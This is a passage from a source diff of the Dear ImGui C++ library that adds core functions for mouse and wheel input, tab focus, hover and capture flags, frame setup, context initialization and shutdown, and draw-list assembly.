g.IO.MouseDoubleClickMaxDist) + g.IO.MouseDoubleClicked[i] = true; + g.IO.MouseClickedTime[i] = -g.IO.MouseDoubleClickTime * 2.0f; // Mark as "old enough" so the third click isn't turned into a double-click + } + else + { + g.IO.MouseClickedTime[i] = g.Time; + } + g.IO.MouseClickedPos[i] = g.IO.MousePos; + g.IO.MouseDownWasDoubleClick[i] = g.IO.MouseDoubleClicked[i]; + g.IO.MouseDragMaxDistanceAbs[i] = ImVec2(0.0f, 0.0f); + g.IO.MouseDragMaxDistanceSqr[i] = 0.0f; + } + else if (g.IO.MouseDown[i]) + { + // Maintain the maximum distance we reaching from the initial click position, which is used with dragging threshold + ImVec2 delta_from_click_pos = IsMousePosValid(&g.IO.MousePos) ? (g.IO.MousePos - g.IO.MouseClickedPos[i]) : ImVec2(0.0f, 0.0f); + g.IO.MouseDragMaxDistanceSqr[i] = ImMax(g.IO.MouseDragMaxDistanceSqr[i], ImLengthSqr(delta_from_click_pos)); + g.IO.MouseDragMaxDistanceAbs[i].x = ImMax(g.IO.MouseDragMaxDistanceAbs[i].x, delta_from_click_pos.x < 0.0f ? -delta_from_click_pos.x : delta_from_click_pos.x); + g.IO.MouseDragMaxDistanceAbs[i].y = ImMax(g.IO.MouseDragMaxDistanceAbs[i].y, delta_from_click_pos.y < 0.0f ? -delta_from_click_pos.y : delta_from_click_pos.y); + } + if (!g.IO.MouseDown[i] && !g.IO.MouseReleased[i]) + g.IO.MouseDownWasDoubleClick[i] = false; + if (g.IO.MouseClicked[i]) // Clicking any mouse button reactivate mouse hovering which may have been deactivated by gamepad/keyboard navigation + g.NavDisableMouseHover = false; + } +} + +static void StartLockWheelingWindow(ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + if (g.WheelingWindow == window) + return; + g.WheelingWindow = window; + g.WheelingWindowRefMousePos = g.IO.MousePos; + g.WheelingWindowTimer = WINDOWS_MOUSE_WHEEL_SCROLL_LOCK_TIMER; +} + +void ImGui::UpdateMouseWheel() +{ + ImGuiContext& g = *GImGui; + + // Reset the locked window if we move the mouse or after the timer elapses + if (g.WheelingWindow != NULL) + { + g.WheelingWindowTimer -= g.IO.DeltaTime; + if (IsMousePosValid() && ImLengthSqr(g.IO.MousePos - g.WheelingWindowRefMousePos) > g.IO.MouseDragThreshold * g.IO.MouseDragThreshold) + g.WheelingWindowTimer = 0.0f; + if (g.WheelingWindowTimer <= 0.0f) + { + g.WheelingWindow = NULL; + g.WheelingWindowTimer = 0.0f; + } + } + + if (g.IO.MouseWheel == 0.0f && g.IO.MouseWheelH == 0.0f) + return; + + if ((g.ActiveId != 0 && g.ActiveIdUsingMouseWheel) || (g.HoveredIdPreviousFrame != 0 && g.HoveredIdPreviousFrameUsingMouseWheel)) + return; + + ImGuiWindow* window = g.WheelingWindow ? g.WheelingWindow : g.HoveredWindow; + if (!window || window->Collapsed) + return; + + // Zoom / Scale window + // FIXME-OBSOLETE: This is an old feature, it still works but pretty much nobody is using it and may be best redesigned. + if (g.IO.MouseWheel != 0.0f && g.IO.KeyCtrl && g.IO.FontAllowUserScaling) + { + StartLockWheelingWindow(window); + const float new_font_scale = ImClamp(window->FontWindowScale + g.IO.MouseWheel * 0.10f, 0.50f, 2.50f); + const float scale = new_font_scale / window->FontWindowScale; + window->FontWindowScale = new_font_scale; + if (!(window->Flags & ImGuiWindowFlags_ChildWindow)) + { + const ImVec2 offset = window->Size * (1.0f - scale) * (g.IO.MousePos - window->Pos) / window->Size; + SetWindowPos(window, window->Pos + offset, 0); + window->Size = ImFloor(window->Size * scale); + window->SizeFull = ImFloor(window->SizeFull * scale); + } + return; + } + + // Mouse wheel scrolling + // If a child window has the ImGuiWindowFlags_NoScrollWithMouse flag, we give a chance to scroll its parent + + // Vertical Mouse Wheel scrolling + const float wheel_y = (g.IO.MouseWheel != 0.0f && !g.IO.KeyShift) ? g.IO.MouseWheel : 0.0f; + if (wheel_y != 0.0f && !g.IO.KeyCtrl) + { + StartLockWheelingWindow(window); + while ((window->Flags & ImGuiWindowFlags_ChildWindow) && ((window->ScrollMax.y == 0.0f) || ((window->Flags & ImGuiWindowFlags_NoScrollWithMouse) && !(window->Flags & ImGuiWindowFlags_NoMouseInputs)))) + window = window->ParentWindow; + if (!(window->Flags & ImGuiWindowFlags_NoScrollWithMouse) && !(window->Flags & ImGuiWindowFlags_NoMouseInputs)) + { + float max_step = window->InnerRect.GetHeight() * 0.67f; + float scroll_step = ImFloor(ImMin(5 * window->CalcFontSize(), max_step)); + SetScrollY(window, window->Scroll.y - wheel_y * scroll_step); + } + } + + // Horizontal Mouse Wheel scrolling, or Vertical Mouse Wheel w/ Shift held + const float wheel_x = (g.IO.MouseWheelH != 0.0f && !g.IO.KeyShift) ? g.IO.MouseWheelH : (g.IO.MouseWheel != 0.0f && g.IO.KeyShift) ? g.IO.MouseWheel : 0.0f; + if (wheel_x != 0.0f && !g.IO.KeyCtrl) + { + StartLockWheelingWindow(window); + while ((window->Flags & ImGuiWindowFlags_ChildWindow) && ((window->ScrollMax.x == 0.0f) || ((window->Flags & ImGuiWindowFlags_NoScrollWithMouse) && !(window->Flags & ImGuiWindowFlags_NoMouseInputs)))) + window = window->ParentWindow; + if (!(window->Flags & ImGuiWindowFlags_NoScrollWithMouse) && !(window->Flags & ImGuiWindowFlags_NoMouseInputs)) + { + float max_step = window->InnerRect.GetWidth() * 0.67f; + float scroll_step = ImFloor(ImMin(2 * window->CalcFontSize(), max_step)); + SetScrollX(window, window->Scroll.x - wheel_x * scroll_step); + } + } +} + +void ImGui::UpdateTabFocus() +{ + ImGuiContext& g = *GImGui; + + // Pressing TAB activate widget focus + g.FocusTabPressed = (g.NavWindow && g.NavWindow->Active && !(g.NavWindow->Flags & ImGuiWindowFlags_NoNavInputs) && !g.IO.KeyCtrl && IsKeyPressedMap(ImGuiKey_Tab)); + if (g.ActiveId == 0 && g.FocusTabPressed) + { + // Note that SetKeyboardFocusHere() sets the Next fields mid-frame. To be consistent we also + // manipulate the Next fields even, even though they will be turned into Curr fields by the code below. + g.FocusRequestNextWindow = g.NavWindow; + g.FocusRequestNextCounterRegular = INT_MAX; + if (g.NavId != 0 && g.NavIdTabCounter != INT_MAX) + g.FocusRequestNextCounterTabStop = g.NavIdTabCounter + 1 + (g.IO.KeyShift ? -1 : 1); + else + g.FocusRequestNextCounterTabStop = g.IO.KeyShift ? -1 : 0; + } + + // Turn queued focus request into current one + g.FocusRequestCurrWindow = NULL; + g.FocusRequestCurrCounterRegular = g.FocusRequestCurrCounterTabStop = INT_MAX; + if (g.FocusRequestNextWindow != NULL) + { + ImGuiWindow* window = g.FocusRequestNextWindow; + g.FocusRequestCurrWindow = window; + if (g.FocusRequestNextCounterRegular != INT_MAX && window->DC.FocusCounterRegular != -1) + g.FocusRequestCurrCounterRegular = ImModPositive(g.FocusRequestNextCounterRegular, window->DC.FocusCounterRegular + 1); + if (g.FocusRequestNextCounterTabStop != INT_MAX && window->DC.FocusCounterTabStop != -1) + g.FocusRequestCurrCounterTabStop = ImModPositive(g.FocusRequestNextCounterTabStop, window->DC.FocusCounterTabStop + 1); + g.FocusRequestNextWindow = NULL; + g.FocusRequestNextCounterRegular = g.FocusRequestNextCounterTabStop = INT_MAX; + } + + g.NavIdTabCounter = INT_MAX; +} + +// The reason this is exposed in imgui_internal.h is: on touch-based system that don't have hovering, we want to dispatch inputs to the right target (imgui vs imgui+app) +void ImGui::UpdateHoveredWindowAndCaptureFlags() +{ + ImGuiContext& g = *GImGui; + + // Find the window hovered by mouse: + // - Child windows can extend beyond the limit of their parent so we need to derive HoveredRootWindow from HoveredWindow. + // - When moving a window we can skip the search, which also conveniently bypasses the fact that window->WindowRectClipped is lagging as this point of the frame. + // - We also support the moved window toggling the NoInputs flag after moving has started in order to be able to detect windows below it, which is useful for e.g. docking mechanisms. + bool clear_hovered_windows = false; + FindHoveredWindow(); + + // Modal windows prevents mouse from hovering behind them. + ImGuiWindow* modal_window = GetTopMostPopupModal(); + if (modal_window && g.HoveredRootWindow && !IsWindowChildOf(g.HoveredRootWindow, modal_window)) + clear_hovered_windows = true; + + // Disabled mouse? + if (g.IO.ConfigFlags & ImGuiConfigFlags_NoMouse) + clear_hovered_windows = true; + + // We track click ownership. When clicked outside of a window the click is owned by the application and won't report hovering nor request capture even while dragging over our windows afterward. + int mouse_earliest_button_down = -1; + bool mouse_any_down = false; + for (int i = 0; i < IM_ARRAYSIZE(g.IO.MouseDown); i++) + { + if (g.IO.MouseClicked[i]) + g.IO.MouseDownOwned[i] = (g.HoveredWindow != NULL) || (g.OpenPopupStack.Size > 0); + mouse_any_down |= g.IO.MouseDown[i]; + if (g.IO.MouseDown[i]) + if (mouse_earliest_button_down == -1 || g.IO.MouseClickedTime[i] < g.IO.MouseClickedTime[mouse_earliest_button_down]) + mouse_earliest_button_down = i; + } + const bool mouse_avail_to_imgui = (mouse_earliest_button_down == -1) || g.IO.MouseDownOwned[mouse_earliest_button_down]; + + // If mouse was first clicked outside of ImGui bounds we also cancel out hovering. + // FIXME: For patterns of drag and drop across OS windows, we may need to rework/remove this test (first committed 311c0ca9 on 2015/02) + const bool mouse_dragging_extern_payload = g.DragDropActive && (g.DragDropSourceFlags & ImGuiDragDropFlags_SourceExtern) != 0; + if (!mouse_avail_to_imgui && !mouse_dragging_extern_payload) + clear_hovered_windows = true; + + if (clear_hovered_windows) + g.HoveredWindow = g.HoveredRootWindow = g.HoveredWindowUnderMovingWindow = NULL; + + // Update io.WantCaptureMouse for the user application (true = dispatch mouse info to imgui, false = dispatch mouse info to Dear ImGui + app) + if (g.WantCaptureMouseNextFrame != -1) + g.IO.WantCaptureMouse = (g.WantCaptureMouseNextFrame != 0); + else + g.IO.WantCaptureMouse = (mouse_avail_to_imgui && (g.HoveredWindow != NULL || mouse_any_down)) || (g.OpenPopupStack.Size > 0); + + // Update io.WantCaptureKeyboard for the user application (true = dispatch keyboard info to imgui, false = dispatch keyboard info to Dear ImGui + app) + if (g.WantCaptureKeyboardNextFrame != -1) + g.IO.WantCaptureKeyboard = (g.WantCaptureKeyboardNextFrame != 0); + else + g.IO.WantCaptureKeyboard = (g.ActiveId != 0) || (modal_window != NULL); + if (g.IO.NavActive && (g.IO.ConfigFlags & ImGuiConfigFlags_NavEnableKeyboard) && !(g.IO.ConfigFlags & ImGuiConfigFlags_NavNoCaptureKeyboard)) + g.IO.WantCaptureKeyboard = true; + + // Update io.WantTextInput flag, this is to allow systems without a keyboard (e.g. mobile, hand-held) to show a software keyboard if possible + g.IO.WantTextInput = (g.WantTextInputNextFrame != -1) ? (g.WantTextInputNextFrame != 0) : false; +} + +ImGuiKeyModFlags ImGui::GetMergedKeyModFlags() +{ + ImGuiContext& g = *GImGui; + ImGuiKeyModFlags key_mod_flags = ImGuiKeyModFlags_None; + if (g.IO.KeyCtrl) { key_mod_flags |= ImGuiKeyModFlags_Ctrl; } + if (g.IO.KeyShift) { key_mod_flags |= ImGuiKeyModFlags_Shift; } + if (g.IO.KeyAlt) { key_mod_flags |= ImGuiKeyModFlags_Alt; } + if (g.IO.KeySuper) { key_mod_flags |= ImGuiKeyModFlags_Super; } + return key_mod_flags; +} + +void ImGui::NewFrame() +{ + IM_ASSERT(GImGui != NULL && "No current context. Did you call ImGui::CreateContext() and ImGui::SetCurrentContext() ?"); + ImGuiContext& g = *GImGui; + + CallContextHooks(&g, ImGuiContextHookType_NewFramePre); + + // Check and assert for various common IO and Configuration mistakes + ErrorCheckNewFrameSanityChecks(); + + // Load settings on first frame, save settings when modified (after a delay) + UpdateSettings(); + + g.Time += g.IO.DeltaTime; + g.WithinFrameScope = true; + g.FrameCount += 1; + g.TooltipOverrideCount = 0; + g.WindowsActiveCount = 0; + g.MenusIdSubmittedThisFrame.resize(0); + + // Calculate frame-rate for the user, as a purely luxurious feature + g.FramerateSecPerFrameAccum += g.IO.DeltaTime - g.FramerateSecPerFrame[g.FramerateSecPerFrameIdx]; + g.FramerateSecPerFrame[g.FramerateSecPerFrameIdx] = g.IO.DeltaTime; + g.FramerateSecPerFrameIdx = (g.FramerateSecPerFrameIdx + 1) % IM_ARRAYSIZE(g.FramerateSecPerFrame); + g.IO.Framerate = (g.FramerateSecPerFrameAccum > 0.0f) ? (1.0f / (g.FramerateSecPerFrameAccum / (float)IM_ARRAYSIZE(g.FramerateSecPerFrame))) : FLT_MAX; + + // Setup current font and draw list shared data + g.IO.Fonts->Locked = true; + SetCurrentFont(GetDefaultFont()); + IM_ASSERT(g.Font->IsLoaded()); + g.DrawListSharedData.ClipRectFullscreen = ImVec4(0.0f, 0.0f, g.IO.DisplaySize.x, g.IO.DisplaySize.y); + g.DrawListSharedData.CurveTessellationTol = g.Style.CurveTessellationTol; + g.DrawListSharedData.SetCircleSegmentMaxError(g.Style.CircleSegmentMaxError); + g.DrawListSharedData.InitialFlags = ImDrawListFlags_None; + if (g.Style.AntiAliasedLines) + g.DrawListSharedData.InitialFlags |= ImDrawListFlags_AntiAliasedLines; + if (g.Style.AntiAliasedLinesUseTex && !(g.Font->ContainerAtlas->Flags & ImFontAtlasFlags_NoBakedLines)) + g.DrawListSharedData.InitialFlags |= ImDrawListFlags_AntiAliasedLinesUseTex; + if (g.Style.AntiAliasedFill) + g.DrawListSharedData.InitialFlags |= ImDrawListFlags_AntiAliasedFill; + if (g.IO.BackendFlags & ImGuiBackendFlags_RendererHasVtxOffset) + g.DrawListSharedData.InitialFlags |= ImDrawListFlags_AllowVtxOffset; + + g.BackgroundDrawList._ResetForNewFrame(); + g.BackgroundDrawList.PushTextureID(g.IO.Fonts->TexID); + g.BackgroundDrawList.PushClipRectFullScreen(); + + g.ForegroundDrawList._ResetForNewFrame(); + g.ForegroundDrawList.PushTextureID(g.IO.Fonts->TexID); + g.ForegroundDrawList.PushClipRectFullScreen(); + + // Mark rendering data as invalid to prevent user who may have a handle on it to use it. + g.DrawData.Clear(); + + // Drag and drop keep the source ID alive so even if the source disappear our state is consistent + if (g.DragDropActive && g.DragDropPayload.SourceId == g.ActiveId) + KeepAliveID(g.DragDropPayload.SourceId); + + // Update HoveredId data + if (!g.HoveredIdPreviousFrame) + g.HoveredIdTimer = 0.0f; + if (!g.HoveredIdPreviousFrame || (g.HoveredId && g.ActiveId == g.HoveredId)) + g.HoveredIdNotActiveTimer = 0.0f; + if (g.HoveredId) + g.HoveredIdTimer += g.IO.DeltaTime; + if (g.HoveredId && g.ActiveId != g.HoveredId) + g.HoveredIdNotActiveTimer += g.IO.DeltaTime; + g.HoveredIdPreviousFrame = g.HoveredId; + g.HoveredIdPreviousFrameUsingMouseWheel = g.HoveredIdUsingMouseWheel; + g.HoveredId = 0; + g.HoveredIdAllowOverlap = false; + g.HoveredIdUsingMouseWheel = false; + g.HoveredIdDisabled = false; + + // Update ActiveId data (clear reference to active widget if the widget isn't alive anymore) + if (g.ActiveIdIsAlive != g.ActiveId && g.ActiveIdPreviousFrame == g.ActiveId && g.ActiveId != 0) + ClearActiveID(); + if (g.ActiveId) + g.ActiveIdTimer += g.IO.DeltaTime; + g.LastActiveIdTimer += g.IO.DeltaTime; + g.ActiveIdPreviousFrame = g.ActiveId; + g.ActiveIdPreviousFrameWindow = g.ActiveIdWindow; + g.ActiveIdPreviousFrameHasBeenEditedBefore = g.ActiveIdHasBeenEditedBefore; + g.ActiveIdIsAlive = 0; + g.ActiveIdHasBeenEditedThisFrame = false; + g.ActiveIdPreviousFrameIsAlive = false; + g.ActiveIdIsJustActivated = false; + if (g.TempInputId != 0 && g.ActiveId != g.TempInputId) + g.TempInputId = 0; + if (g.ActiveId == 0) + { + g.ActiveIdUsingNavDirMask = 0x00; + g.ActiveIdUsingNavInputMask = 0x00; + g.ActiveIdUsingKeyInputMask = 0x00; + } + + // Drag and drop + g.DragDropAcceptIdPrev = g.DragDropAcceptIdCurr; + g.DragDropAcceptIdCurr = 0; + g.DragDropAcceptIdCurrRectSurface = FLT_MAX; + g.DragDropWithinSource = false; + g.DragDropWithinTarget = false; + g.DragDropHoldJustPressedId = 0; + + // Update keyboard input state + // Synchronize io.KeyMods with individual modifiers io.KeyXXX bools + g.IO.KeyMods = GetMergedKeyModFlags(); + memcpy(g.IO.KeysDownDurationPrev, g.IO.KeysDownDuration, sizeof(g.IO.KeysDownDuration)); + for (int i = 0; i < IM_ARRAYSIZE(g.IO.KeysDown); i++) + g.IO.KeysDownDuration[i] = g.IO.KeysDown[i] ? (g.IO.KeysDownDuration[i] < 0.0f ? 0.0f : g.IO.KeysDownDuration[i] + g.IO.DeltaTime) : -1.0f; + + // Update gamepad/keyboard navigation + NavUpdate(); + + // Update mouse input state + UpdateMouseInputs(); + + // Find hovered window + // (needs to be before UpdateMouseMovingWindowNewFrame so we fill g.HoveredWindowUnderMovingWindow on the mouse release frame) + UpdateHoveredWindowAndCaptureFlags(); + + // Handle user moving window with mouse (at the beginning of the frame to avoid input lag or sheering) + UpdateMouseMovingWindowNewFrame(); + + // Background darkening/whitening + if (GetTopMostPopupModal() != NULL || (g.NavWindowingTarget != NULL && g.NavWindowingHighlightAlpha > 0.0f)) + g.DimBgRatio = ImMin(g.DimBgRatio + g.IO.DeltaTime * 6.0f, 1.0f); + else + g.DimBgRatio = ImMax(g.DimBgRatio - g.IO.DeltaTime * 10.0f, 0.0f); + + g.MouseCursor = ImGuiMouseCursor_Arrow; + g.WantCaptureMouseNextFrame = g.WantCaptureKeyboardNextFrame = g.WantTextInputNextFrame = -1; + g.PlatformImePos = ImVec2(1.0f, 1.0f); // OS Input Method Editor showing on top-left of our window by default + + // Mouse wheel scrolling, scale + UpdateMouseWheel(); + + // Update legacy TAB focus + UpdateTabFocus(); + + // Mark all windows as not visible and compact unused memory. + IM_ASSERT(g.WindowsFocusOrder.Size == g.Windows.Size); + const float memory_compact_start_time = (g.GcCompactAll || g.IO.ConfigMemoryCompactTimer < 0.0f) ? FLT_MAX : (float)g.Time - g.IO.ConfigMemoryCompactTimer; + for (int i = 0; i != g.Windows.Size; i++) + { + ImGuiWindow* window = g.Windows[i]; + window->WasActive = window->Active; + window->BeginCount = 0; + window->Active = false; + window->WriteAccessed = false; + + // Garbage collect transient buffers of recently unused windows + if (!window->WasActive && !window->MemoryCompacted && window->LastTimeActive < memory_compact_start_time) + GcCompactTransientWindowBuffers(window); + } + + // Garbage collect transient buffers of recently unused tables + for (int i = 0; i < g.TablesLastTimeActive.Size; i++) + if (g.TablesLastTimeActive[i] >= 0.0f && g.TablesLastTimeActive[i] < memory_compact_start_time) + TableGcCompactTransientBuffers(g.Tables.GetByIndex(i)); + if (g.GcCompactAll) + GcCompactTransientMiscBuffers(); + g.GcCompactAll = false; + + // Closing the focused window restore focus to the first active root window in descending z-order + if (g.NavWindow && !g.NavWindow->WasActive) + FocusTopMostWindowUnderOne(NULL, NULL); + + // No window should be open at the beginning of the frame. + // But in order to allow the user to call NewFrame() multiple times without calling Render(), we are doing an explicit clear. + g.CurrentWindowStack.resize(0); + g.BeginPopupStack.resize(0); + g.ItemFlagsStack.resize(0); + g.ItemFlagsStack.push_back(ImGuiItemFlags_Default_); + g.GroupStack.resize(0); + ClosePopupsOverWindow(g.NavWindow, false); + + // [DEBUG] Item picker tool - start with DebugStartItemPicker() - useful to visually select an item and break into its call-stack. + UpdateDebugToolItemPicker(); + + // Create implicit/fallback window - which we will only render it if the user has added something to it. + // We don't use "Debug" to avoid colliding with user trying to create a "Debug" window with custom flags. + // This fallback is particularly important as it avoid ImGui:: calls from crashing. + g.WithinFrameScopeWithImplicitWindow = true; + SetNextWindowSize(ImVec2(400, 400), ImGuiCond_FirstUseEver); + Begin("Debug##Default"); + IM_ASSERT(g.CurrentWindow->IsFallbackWindow == true); + + CallContextHooks(&g, ImGuiContextHookType_NewFramePost); +} + +// [DEBUG] Item picker tool - start with DebugStartItemPicker() - useful to visually select an item and break into its call-stack. +void ImGui::UpdateDebugToolItemPicker() +{ + ImGuiContext& g = *GImGui; + g.DebugItemPickerBreakId = 0; + if (g.DebugItemPickerActive) + { + const ImGuiID hovered_id = g.HoveredIdPreviousFrame; + ImGui::SetMouseCursor(ImGuiMouseCursor_Hand); + if (ImGui::IsKeyPressedMap(ImGuiKey_Escape)) + g.DebugItemPickerActive = false; + if (ImGui::IsMouseClicked(0) && hovered_id) + { + g.DebugItemPickerBreakId = hovered_id; + g.DebugItemPickerActive = false; + } + ImGui::SetNextWindowBgAlpha(0.60f); + ImGui::BeginTooltip(); + ImGui::Text("HoveredId: 0x%08X", hovered_id); + ImGui::Text("Press ESC to abort picking."); + ImGui::TextColored(GetStyleColorVec4(hovered_id ? ImGuiCol_Text : ImGuiCol_TextDisabled), "Click to break in debugger!"); + ImGui::EndTooltip(); + } +} + +void ImGui::Initialize(ImGuiContext* context) +{ + ImGuiContext& g = *context; + IM_ASSERT(!g.Initialized && !g.SettingsLoaded); + + // Add .ini handle for ImGuiWindow type + { + ImGuiSettingsHandler ini_handler; + ini_handler.TypeName = "Window"; + ini_handler.TypeHash = ImHashStr("Window"); + ini_handler.ClearAllFn = WindowSettingsHandler_ClearAll; + ini_handler.ReadOpenFn = WindowSettingsHandler_ReadOpen; + ini_handler.ReadLineFn = WindowSettingsHandler_ReadLine; + ini_handler.ApplyAllFn = WindowSettingsHandler_ApplyAll; + ini_handler.WriteAllFn = WindowSettingsHandler_WriteAll; + g.SettingsHandlers.push_back(ini_handler); + } + +#ifdef IMGUI_HAS_TABLE + // Add .ini handle for ImGuiTable type + TableSettingsInstallHandler(context); +#endif // #ifdef IMGUI_HAS_TABLE + +#ifdef IMGUI_HAS_DOCK +#endif // #ifdef IMGUI_HAS_DOCK + + g.Initialized = true; +} + +// This function is merely here to free heap allocations. +void ImGui::Shutdown(ImGuiContext* context) +{ + // The fonts atlas can be used prior to calling NewFrame(), so we clear it even if g.Initialized is FALSE (which would happen if we never called NewFrame) + ImGuiContext& g = *context; + if (g.IO.Fonts && g.FontAtlasOwnedByContext) + { + g.IO.Fonts->Locked = false; + IM_DELETE(g.IO.Fonts); + } + g.IO.Fonts = NULL; + + // Cleanup of other data are conditional on actually having initialized Dear ImGui. + if (!g.Initialized) + return; + + // Save settings (unless we haven't attempted to load them: CreateContext/DestroyContext without a call to NewFrame shouldn't save an empty file) + if (g.SettingsLoaded && g.IO.IniFilename != NULL) + { + ImGuiContext* backup_context = GImGui; + SetCurrentContext(&g); + SaveIniSettingsToDisk(g.IO.IniFilename); + SetCurrentContext(backup_context); + } + + CallContextHooks(&g, ImGuiContextHookType_Shutdown); + + // Clear everything else + for (int i = 0; i < g.Windows.Size; i++) + IM_DELETE(g.Windows[i]); + g.Windows.clear(); + g.WindowsFocusOrder.clear(); + g.WindowsTempSortBuffer.clear(); + g.CurrentWindow = NULL; + g.CurrentWindowStack.clear(); + g.WindowsById.Clear(); + g.NavWindow = NULL; + g.HoveredWindow = g.HoveredRootWindow = g.HoveredWindowUnderMovingWindow = NULL; + g.ActiveIdWindow = g.ActiveIdPreviousFrameWindow = NULL; + g.MovingWindow = NULL; + g.ColorStack.clear(); + g.StyleVarStack.clear(); + g.FontStack.clear(); + g.OpenPopupStack.clear(); + g.BeginPopupStack.clear(); + g.DrawDataBuilder.ClearFreeMemory(); + g.BackgroundDrawList._ClearFreeMemory(); + g.ForegroundDrawList._ClearFreeMemory(); + + g.TabBars.Clear(); + g.CurrentTabBarStack.clear(); + g.ShrinkWidthBuffer.clear(); + + g.Tables.Clear(); + g.CurrentTableStack.clear(); + g.DrawChannelsTempMergeBuffer.clear(); + + g.ClipboardHandlerData.clear(); + g.MenusIdSubmittedThisFrame.clear(); + g.InputTextState.ClearFreeMemory(); + + g.SettingsWindows.clear(); + g.SettingsHandlers.clear(); + + if (g.LogFile) + { +#ifndef IMGUI_DISABLE_TTY_FUNCTIONS + if (g.LogFile != stdout) +#endif + ImFileClose(g.LogFile); + g.LogFile = NULL; + } + g.LogBuffer.clear(); + + g.Initialized = false; +} + +// FIXME: Add a more explicit sort order in the window structure. +static int IMGUI_CDECL ChildWindowComparer(const void* lhs, const void* rhs) +{ + const ImGuiWindow* const a = *(const ImGuiWindow* const*)lhs; + const ImGuiWindow* const b = *(const ImGuiWindow* const*)rhs; + if (int d = (a->Flags & ImGuiWindowFlags_Popup) - (b->Flags & ImGuiWindowFlags_Popup)) + return d; + if (int d = (a->Flags & ImGuiWindowFlags_Tooltip) - (b->Flags & ImGuiWindowFlags_Tooltip)) + return d; + return (a->BeginOrderWithinParent - b->BeginOrderWithinParent); +} + +static void AddWindowToSortBuffer(ImVector* out_sorted_windows, ImGuiWindow* window) +{ + out_sorted_windows->push_back(window); + if (window->Active) + { + int count = window->DC.ChildWindows.Size; + if (count > 1) + ImQsort(window->DC.ChildWindows.Data, (size_t)count, sizeof(ImGuiWindow*), ChildWindowComparer); + for (int i = 0; i < count; i++) + { + ImGuiWindow* child = window->DC.ChildWindows[i]; + if (child->Active) + AddWindowToSortBuffer(out_sorted_windows, child); + } + } +} + +static void AddDrawListToDrawData(ImVector* out_list, ImDrawList* draw_list) +{ + // Remove trailing command if unused. + // Technically we could return directly instead of popping, but this make things looks neat in Metrics/Debugger window as well. + draw_list->_PopUnusedDrawCmd(); + if (draw_list->CmdBuffer.Size == 0) + return; + + // Draw list sanity check. Detect mismatch between PrimReserve() calls and incrementing _VtxCurrentIdx, _VtxWritePtr etc. + // May trigger for you if you are using PrimXXX functions incorrectly. + IM_ASSERT(draw_list->VtxBuffer.Size == 0 || draw_list->_VtxWritePtr == draw_list->VtxBuffer.Data + draw_list->VtxBuffer.Size); + IM_ASSERT(draw_list->IdxBuffer.Size == 0 || draw_list->_IdxWritePtr == draw_list->IdxBuffer.Data + draw_list->IdxBuffer.Size); + if (!(draw_list->Flags & ImDrawListFlags_AllowVtxOffset)) + IM_ASSERT((int)draw_list->_VtxCurrentIdx == draw_list->VtxBuffer.Size); + + // Check that draw_list doesn't use more vertices than indexable (default ImDrawIdx = unsigned short = 2 bytes = 64K vertices per ImDrawList = per window) + // If this assert triggers because you are drawing lots of stuff manually: + // - First, make sure you are coarse clipping yourself and not trying to draw many things outside visible bounds. + // Be mindful that the ImDrawList API doesn't filter vertices. Use the Metrics/Debugger window to inspect draw list contents. + // - If you want large meshes with more than 64K vertices, you can either: + // (A) Handle the ImDrawCmd::VtxOffset value in your renderer backend, and set 'io.BackendFlags |= ImGuiBackendFlags_RendererHasVtxOffset'. + // Most example backends already support this from 1.71. Pre-1.71 backends won't. + // Some graphics API such as GL ES 1/2 don't have a way to offset the starting vertex so it is not supported for them. + // (B) Or handle 32-bit indices in your renderer backend, and uncomment '#define ImDrawIdx unsigned int' line in imconfig.h. + // Most example backends already support this. For example, the OpenGL example code detect index size at compile-time: + // glDrawElements(GL_TRIANGLES, (GLsizei)pcmd->ElemCount, sizeof(ImDrawIdx) == 2 ? GL_UNSIGNED_SHORT : GL_UNSIGNED_INT, idx_buffer_offset); + // Your own engine or render API may use different parameters or function calls to specify index sizes. + // 2 and 4 bytes indices are generally supported by most graphics API. + // - If for some reason neither of those solutions works for you, a workaround is to call BeginChild()/EndChild() before reaching + // the 64K limit to split your draw commands in multiple draw lists. + if (sizeof(ImDrawIdx) == 2) + IM_ASSERT(draw_list->_VtxCurrentIdx < (1 << 16) && "Too many vertices in ImDrawList using 16-bit indices. Read comment above"); + + out_list->push_back(draw_list); +} + +static void AddWindowToDrawData(ImVector* out_render_list, ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + g.IO.MetricsRenderWindows++; + AddDrawListToDrawData(out_render_list, window->DrawList); + for (int i = 0; i < window->DC.ChildWindows.Size; i++) + { + ImGuiWindow* child = window->DC.ChildWindows[i]; + if (IsWindowActiveAndVisible(child)) // clipped children may have been marked not active + AddWindowToDrawData(out_render_list, child); + } +} + +// Layer is locked for the root window, however child windows may use a different viewport (e.g. extruding menu) +static void AddRootWindowToDrawData(ImGuiWindow* window) +{ + ImGuiContext& g = *GImGui; + int layer = (window->Flags & ImGuiWindowFlags_Tooltip) ? 1 : 0; + AddWindowToDrawData(&g.DrawDataBuilder.Layers[layer], window); +} + +void ImDrawDataBuilder::FlattenIntoSingleLayer() +{ + int n = Layers[0].Size; + int size = n; + for (int i = 1; i < IM_ARRAYSIZE(Layers); i++) + size += Layers[i].Size; + Layers[0].resize(size); + for (int layer_n = 1; layer_n < IM_ARRAYSIZE(Layers); layer_n++) + { + ImVector& layer = Layers[layer_n]; + if (layer.empty()) + continue; + memcpy(&Layers[0][n], &layer[0], layer.Size * sizeof(ImDrawList*)); + n += layer.Size; + layer.resize(0); + } +} + +static void SetupDrawData(ImVector* draw_lists, ImDrawData* draw_data) +{ + ImGuiIO& io = ImGui::GetIO(); + draw_data->Valid = true; + draw_data->CmdLists = (draw_lists->Size > 0) ? draw_lists->Data : NULL; + draw_data->CmdListsCount = draw_lists->Size; + draw_data->TotalVtxCount = draw_data->TotalIdxCount = 0; + draw_data->DisplayPos = ImVec2(0.0f, 0.0f); + draw_data->DisplaySize = io.DisplaySize; + draw_data->FramebufferScale = io.DisplayFramebufferScale; + for (int n = 0; n < draw_lists->Size; n++) + { + draw_data->TotalVtxCount += draw_lists->Data[n]->VtxBuffer.Size; + draw_data->TotalIdxCount += draw_lists->Data[n]->IdxBuffer.Size; + } +} + +// Push a clipping rectangle for both ImGui logic (hit-testing etc.) and low-level ImDrawList rendering. +// - When using this function it is sane to ensure that float are perfectly rounded to integer values, +// so that e.g. (int)(max.x-min.x) in user's render produce correct result. +// - If the code here changes, may need to update code of functions like NextColumn() and PushColumnClipRect(): +// some frequently called functions which to modify both channels and clipping simultaneously tend to use the +// more specialized SetWindowClipRectBeforeSetChannel() to avoid extraneous updates of underlying ImDrawCmds. +void ImGui::PushClipRect(const ImVec2& 